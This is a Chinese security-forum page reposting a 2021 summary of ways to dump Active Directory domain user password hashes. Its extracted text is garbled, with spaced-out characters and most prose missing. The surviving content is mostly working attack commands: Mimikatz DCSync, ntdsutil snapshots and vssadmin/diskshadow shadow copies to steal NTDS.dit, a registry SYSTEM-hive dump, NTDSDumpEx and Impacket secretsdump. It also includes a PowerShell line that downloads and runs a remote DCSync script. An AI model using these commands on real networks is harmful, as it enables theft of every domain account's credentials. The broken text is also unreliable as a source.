[21787] 2021-03-18_域渗透导出域用户Hash方法总结

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-03-18_域渗透导出域用户Hash方法总结 | H a s h L e m o n S e c   2 0 2 1 - 0 3 - 1 8 H A C K H a s h   D u m p   H a s h H a s h   C : W i n d o w s N T D S N T D S . D I T   使   D u m p   H a s h 1 .   M i m i k a t z M i m i k a t z d c s y n c D R S   N T D S . D I T     H a s h   M i m i k a t z   2 .   N t d s u t i l N t d s u t i l   使 访   W i n d o w s   A c t i v e   D i r e c t o r y     n t d s . d i t   #   n t d s u t i l   s n a p s h o t   " a c t i v a t e   i n s t a n c e   n t d s "   c r e a t e   q u i t   q u i t G U I D     { a a 4 8 8 f 5 b - 4 0 c 7 - 4 0 4 4 - b 2 4 f - 1 6 f d 0 4 1 a 6 d e 2 } #   n t d s u t i l   s n a p s h o t   " m o u n t   G U I D "   q u i t   q u i t #     n t d s . d i t c o p y   C : $ S N A P _ 2 0 1 9 0 8 2 0 0 4 3 5 _ V O L U M E C $ w i n d o w s N T D S n t d s . d i t   c : n t d s . d i t #   n t d s u t i l   s n a p s h o t   " u n m o u n t   G U I D "   q u i t   q u i t #   n t d s u t i l   s n a p s h o t   " d e l e t e   G U I D "   q u i t   q u i t #   n t d s u t i l   s n a p s h o t   " L i s t   A l l "   q u i t   q u i t n t d s u t i l   s n a p s h o t   " L i s t   M o u n t e d "   q u i t   q u i t 3 .   V s s a d m i n N T D S . D I T #   M i m i k a t z   " l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / a l l   / c s v "   e x i t   >   h a s h . t x t #   M i m i k a t z   " l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / u s e r : u s e r n a m e "   e x i t   >   h a s h . t x t #  
4 .   D i s k s h a d o w   W i n d o w s   S e r v e r   2 0 0 8 2 0 1 2 2 0 1 6     D i s k S h a d o w A D s h a d o w . t x t   5 .   P o w e r s h e l l h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e   n t d s . d i t     H a s h 1 .   N T D S D u m p E x #   v s s a d m i n   l i s t   s h a d o w s #   v s s a d m i n   c r e a t e   s h a d o w   / f o r = c :   / a u t o r e t r y = 1 0 " S h a d o w   C o p y   V o l u m e   N a m e "     ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 1 " S h a d o w   C o p y   I D "     { a a 4 8 8 f 5 b - 4 0 c 7 - 4 0 4 4 - b 2 4 f - 1 6 f d 0 4 1 a 6 d e 2 } #     n t d s . d i t c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 1 w i n d o w s N T D S n t d s . d i t   c : n t d s . d i t #   v s s a d m i n   d e l e t e   s h a d o w s   / f o r = c :   / q u i e t D i s k S h a d o w C : w i n d o w s s y s t e m 3 2 d i s k s h a d o w . e x e #     ` n t d s . d i t `     C   #   使 w m i c   l o g i c a l d i s k #   C : w i n d o w s s y s t e m 3 2 d i s k s h a d o w . e x e   / s   C : s h a d o w . t x t s e t   c o n t e x t   p e r s i s t e n t   n o w r i t e r s a d d   v o l u m e   c :   a l i a s   s o m e A l i a s c r e a t e e x p o s e   % s o m e A l i a s %   z : e x e c   " C : w i n d o w s s y s t e m 3 2 c m d . e x e "   / c   c o p y   z : w i n d o w s n t d s n t d s . d i t   c : n t d s . d i t d e l e t e   s h a d o w s   v o l u m e   % s o m e A l i a s % r e s e t #     I n v o k e - D C S y n c . p s 1 p o w e r s h e l l   - e x e c   b y p a s s   - c o m m a n d   " I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / E m p i r e P r o j e c t / E m p i r e / m a s t e r / d a t a / m o d u l e _ s o u r c e / c r e d e n t i a l s / I n v o k e - D C S y n c . p s 1 ' ) " u s a g e :   n t d s d u m p e x . e x e   < - d   n t d s . d i t >   < - k   H E X - S Y S - K E Y   |   - s   s y s t e m . h i v   | - r >   [ - o   o u t . t x t ]   [ - h ]   [ - m ]   [ - p ]   [ - u ] - d         p a t h   o f   n t d s . d i t   d a t a b a s e - k         u s e   s p e c i f i e d   S Y S K E Y - s         p a r s e   S Y S K E Y   f r o m   s p e c i f i e d   s y s t e m . h i v - r         r e a d   S Y S K E Y   f r o m   r e g i s t r y - o         w r i t e   o u t p u t   i n t o - h         d u m p   h a s h   h i s t o r i e s ( i f   a v a i l a b l e ) - p         d u m p   d e s c r i p t i o n   a n d   p a t h   o f   h o m e   d i r e c t o r y - m         d u m p   m a c h i n e   a c c o u n t s - u         U S E   U P P E R - C A S E - H E X #   线 r e g   s a v e   h k l m s y s t e m   s y s t e m . h i v N T D S D u m p E x . e x e   - d   n t d s . d i t   - s   s y s t e m . h i v   - o   h a s h . t x t #   线 N T D S D u m p E x . e x e   - d   n t d s . d i t   - r   - o   h a s h . t x t
2 .   I m p a c k e t h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t   K a l i     p y t h o n   使   K a l i     H a s h 1 .   M i m i k a t z   使   2 .   使         3 .         n t d s . d i t 使   D u m p H a s h 姿 N T D S . d i t N T D S . d i t s c a r l e t f h t t p s : / / s c a r l e t f . g i t h u b . i o / L e m o n S e c g i t   c l o n e   h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t #     p i p   i n s t a l l   . p y t h o n   s e t u p . p y #   使   s e c r e t s d u m p . p y     H a s h / i m p a c k e t / e x a m p l e s #   p y t h o n   s e c r e t s d u m p . p y   - n t d s   / h o m e / w o r k s p a c e / h a s h / n t d s . d i t   - s y s t e m   / h o m e / w o r k s p a c e / h a s h / s y s . h i v   L O C A L   >   / h o m e / w o r k s p a c e / h a s h / h a s h . t x t p s e x e c N t d s u t i l V s s a d m i n V o l u m e   S h a d o w   C o p y   S e r v i c e N T D S D u m p E x s e c r e t s d u m p . p y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则